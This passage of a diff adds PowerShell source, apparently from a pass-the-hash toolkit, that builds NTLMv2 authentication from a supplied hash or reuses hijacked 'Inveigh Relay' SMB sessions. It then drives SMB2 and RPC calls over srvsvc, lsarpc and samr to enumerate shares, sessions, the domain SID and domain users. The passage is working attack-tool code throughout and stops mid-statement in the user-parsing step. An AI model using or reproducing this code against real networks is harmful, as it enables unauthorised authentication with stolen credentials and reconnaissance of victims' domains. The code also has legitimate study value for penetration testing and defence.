+ $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) + $session_key = $session_base_key + $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 + $HMAC_SHA256.key = $session_key + } + + $NTLMv2_response = $NTLMv2_response + $security_blob_bytes + $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) + $NTLMv2_response_length = $NTLMv2_response_length[0,1] + $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) + + $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, + 0x03,0x00,0x00,0x00, + 0x18,0x00, + 0x18,0x00 + + $auth_LM_offset + + $NTLMv2_response_length + + $NTLMv2_response_length + + $auth_NTLM_offset + + $auth_domain_length + + $auth_domain_length + + $auth_domain_offset + + $auth_username_length + + $auth_username_length + + $auth_username_offset + + $auth_hostname_length + + $auth_hostname_length + + $auth_hostname_offset + + $SMB_session_key_length + + $SMB_session_key_length + + $SMB_session_key_offset + + $SMB_negotiate_flags + + $auth_domain_bytes + + $auth_username_bytes + + $auth_hostname_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $NTLMv2_response + + if($SMB_version -eq 'SMB1') + { + $SMB_user_ID = $SMB_client_receive[32,33] + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + } + + $packet_SMB_header["UserID"] = $SMB_user_ID + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } + + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if($SMB_version -eq 'SMB1') + { + + if([System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00') + { + Write-Verbose "[+] $output_username successfully authenticated on $Target" + $login_successful = $true + } + else + { + Write-Output "[-] $output_username failed to authenticate on $Target" + $login_successful = $false + } + + } + else + { + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00') + { + Write-Verbose "[+] $output_username successfully authenticated on $Target" + $login_successful = $true + } + else + { + Write-Output "[-] $output_username failed to authenticate on $Target" + $login_successful = $false + } + + } + + } + + } + + if($login_successful -or $inveigh_session) + { + + if($inveigh_session) + { + + if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked') + { + Write-Output "[*] Pausing due to Inveigh Relay session lock" + Start-Sleep -s 2 + } + + $inveigh.session_lock_table[$session] = 'locked' + $SMB_client = $inveigh.session_socket_table[$session] + $SMB_client_stream = $SMB_client.GetStream() + $SMB_session_ID = $inveigh.session_table[$session] + $SMB2_message_ID = $inveigh.session_message_ID_table[$session] + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + } + + $SMB_path = "\\" + $Target + "\IPC$" + $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) + + if($Action -eq 'Share' -or $Action -eq 'NetSession') + { + $SMB_named_pipe_UUID = 0xc8,0x4f,0x32,0x4b,0x70,0x16,0xd3,0x01,0x12,0x78,0x5a,0x47,0xbf,0x6e,0xe1,0x88 + } + elseif($Action -eq 'User') + { + $SMB_named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xab + } + + if($SMB_version -eq 'SMB1') + { + Write-Output "[-] SMB1 is not supported" + throw + } + else + { + $SMB_client_stage = 'TreeConnect' + + :SMB_execute_loop while ($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'TreeConnect' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2TreeConnectRequest $SMB_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + + try + { + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB2_tree_ID = $SMB_client_receive[40..43] + $SMB_client_stage = 'CreateRequest' + } + catch + { + Write-Output "[-] Session connection is closed" + $SMB_client_stage = 'Exit' + } + + } + + 'CreateRequest' + { + + if($Action -eq 'Share' -or $action -eq 'NetSession') + { + $SMB_named_pipe_bytes = 0x73,0x00,0x72,0x00,0x76,0x00,0x73,0x00,0x76,0x00,0x63,0x00 # srvsvc + } + elseif($SAMR_step -eq 2) + { + $SMB_named_pipe_bytes = 0x73,0x00,0x61,0x00,0x6d,0x00,0x72,0x00 # samr + } + else + { + $SMB_named_pipe_bytes = 0x6c,0x00,0x73,0x00,0x61,0x00,0x72,0x00,0x70,0x00,0x63,0x00 # lsarpc + } + + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes + $packet_SMB2_data["DesiredAccess"] = 0x9f,0x01,0x12,0x00 + $packet_SMB2_data["FileAttributes"] = 0x00,0x00,0x00,0x00 + $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 + $packet_SMB2_data["CreateOptions"] = 0x00,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + + try + { + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + catch + { + Write-Output "[-] Session connection is closed" + $SMB_client_stage = 'Exit' + } + + if($Refresh -and $SMB_client_stage -ne 'Exit') + { + Write-Output "[+] Session refreshed" + $SMB_client_stage = 'Exit' + } + elseif($SAMR_step -eq 2) + { + $SMB_file_GUID = $SMB_client_receive[132..147] + $SMB_client_stage = 'RPCBind' + } + elseif($SMB_client_stage -ne 'Exit') + { + $SMB_file_GUID = $SMB_client_receive[132..147] + $SMB_client_stage = 'QueryInfoRequest' + } + + } + + 'QueryInfoRequest' + { + $SMB_file_ID = $SMB_client_receive[132..147] + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2QueryInfoRequest 0x01 0x05 0x18,0x00,0x00,0x00 0x68,0x00 $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'RPCBind' + } + + 'RPCBind' + { + $SMB_named_pipe_bytes = 0x73,0x00,0x72,0x00,0x76,0x00,0x73,0x00,0x76,0x00,0x63,0x00 # srvsvc + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + if($Action -eq 'Share') + { + $SMB_named_pipe_UUID = 0xc8,0x4f,0x32,0x4b,0x70,0x16,0xd3,0x01,0x12,0x78,0x5a,0x47,0xbf,0x6e,0xe1,0x88 + $packet_RPC_data = New-PacketRPCBind 0x48,0x00 2 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x03,0x00 + $SMB_client_stage_next = 'NetShareEnumAll' + } + elseif($Action -eq 'NetSession') + { + $packet_RPC_data = New-PacketRPCBind 0x74,0x00 2 0x02 0x00,0x00 $SMB_named_pipe_UUID 0x03,0x00 + $SMB_client_stage_next = 'NetSessEnum' + } + elseif($SAMR_step -eq 2) + { + $SMB_named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xac + $packet_RPC_data = New-PacketRPCBind 0x48,0x00 5 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x01,0x00 + $SMB_file_ID = $SMB_file_GUID + $SMB_client_stage_next = 'Connect5' + } + else + { + $SMB_named_pipe_bytes = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0x76,0x00,0x63,0x00 + $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x00,0x00 + $SMB_client_stage_next = 'LSAOpenPolicy' + } + + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadRequest' + + + } + + 'ReadRequest' + { + Start-Sleep -m $Sleep + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = New-PacketSMB2ReadRequest $SMB_file_ID + $packet_SMB2_data["Length"] = 0x00,0x04,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + else + { + $SMB_client_stage = 'StatusPending' + } + + } + + 'StatusPending' + { + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + + } + + 'LSAOpenPolicy' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_LSARPC_data = New-PacketLSAOpenPolicy + $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data + $packet_SMB2_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $SMB_file_GUID $LSARPC_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x06,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $LSARPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $LSARPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $LSARPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'LSAQueryInfoPolicy' + $SMB_client_stage_next = 'CheckAccess' + } + + 'LSAQueryInfoPolicy' + { + [Byte[]]$SMB_policy_handle = $SMB_client_receive[140..159] + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_LSARPC_data = New-PacketLSAQueryInfoPolicy $SMB_policy_handle + $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data + $packet_SMB2_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $SMB_file_GUID $LSARPC_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x07,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $LSARPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $LSARPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $LSARPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'LSAClose' + $SMB_client_stage_next = 'CheckAccess' + } + + 'LSAClose' + { + [Byte[]]$LSA_domain_length_bytes = $SMB_client_receive[148..149] + $LSA_domain_length = [System.BitConverter]::ToInt16($LSA_domain_length_bytes,0) + [Byte[]]$LSA_domain_actual_count_bytes = $SMB_client_receive[168..171] + $LSA_domain_actual_count = [System.BitConverter]::ToInt32($LSA_domain_actual_count_bytes,0) + + if($LSA_domain_actual_count % 2) + { + $LSA_domain_length += 2 + } + + [Byte[]]$LSA_domain_SID = $SMB_client_receive[(176 + $LSA_domain_length)..(199 + $LSA_domain_length)] + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_LSARPC_data = New-PacketLSAClose $SMB_policy_handle + $LSARPC_data = ConvertFrom-PacketOrderedDictionary $packet_LSARPC_data + $packet_SMB2_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $SMB_file_GUID $LSARPC_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $LSARPC_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $LSARPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $LSARPC_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $LSARPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'CloseRequest' + $SAMR_step = 2 + $SMB_client_stage_next = 'CheckAccess' + } + + 'Connect5' + { + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SAMR_data = New-PacketSAMRConnect5 $Target + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_SMB2_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $SMB_file_GUID $SAMR_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x06,0x00,0x00,0x00 0x00,0x00 0x40,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SAMR_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SAMR_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'OpenDomain' + $SAMR_step = 3 + $SMB_client_stage_next = 'CheckAccess' + } + + 'OpenDomain' + { + [Byte[]]$SAMR_connect_handle = $SMB_client_receive[156..175] + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SAMR_data = New-PacketSAMROpenDomain $SAMR_connect_handle $LSA_domain_SID + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_SMB2_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $SMB_file_GUID $SAMR_data.Length 4280 + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x07,0x00,0x00,0x00 0x00,0x00 0x07,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SAMR_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SAMR_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'EnumDomainUsers' + $SAMR_step = 3 + $SMB_client_stage_next = 'CheckAccess' + } + + 'EnumDomainUsers' + { + [Byte[]]$SAMR_domain_handle = $SMB_client_receive[140..159] + $SMB2_message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB2_message_ID $process_ID_bytes $SMB2_tree_ID $SMB_session_ID + + if($SMB_signing) + { + $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SAMR_data = New-PacketSAMREnumDomainUsers $SAMR_domain_handle + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x08,0x00,0x00,0x00 0x00,0x00 0x0d,0x00 + $packet_SMB2_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $SMB_file_GUID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SAMR_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SAMR_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SAMR_step = 3 + $SMB_client_stage_next = 'ParseUsers' + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + else + { + $SMB_client_stage = 'StatusPending' + } + + } + + 'ParseUsers' + { + [Byte[]]$response_user_count_bytes = $SMB_client_receive[148..151] + $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0) + $response_user_start = $response_user_count * 12 + 172 + $response_user_end = $response_user_start + $response_RID_start = 160 + $response_user_length_start = 164 + $response_user_list = @() + $i = 0 + + while($i -lt $response_user_count) + { + $response_user_object = New-Object PSObject + [Byte[]]$response_user_length_bytes = $SMB_client_receive[$response_user_length_start..($response_user_length_start + 1)] + $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0) + [Byte[]]$response_RID_bytes = $SMB_client_receive[$response_RID_start..($response_RID_start + 3)] + $response_RID = [System.BitConverter]::ToInt16($response_RID_bytes,0) + $response_user_end = $response_user_start + $response_user_length + [Byte[]]$response_actual_count_bytes = $SMB_client_receive[($response_user_start - 4)..($response_user_start - 1)] + $response_actual_count = 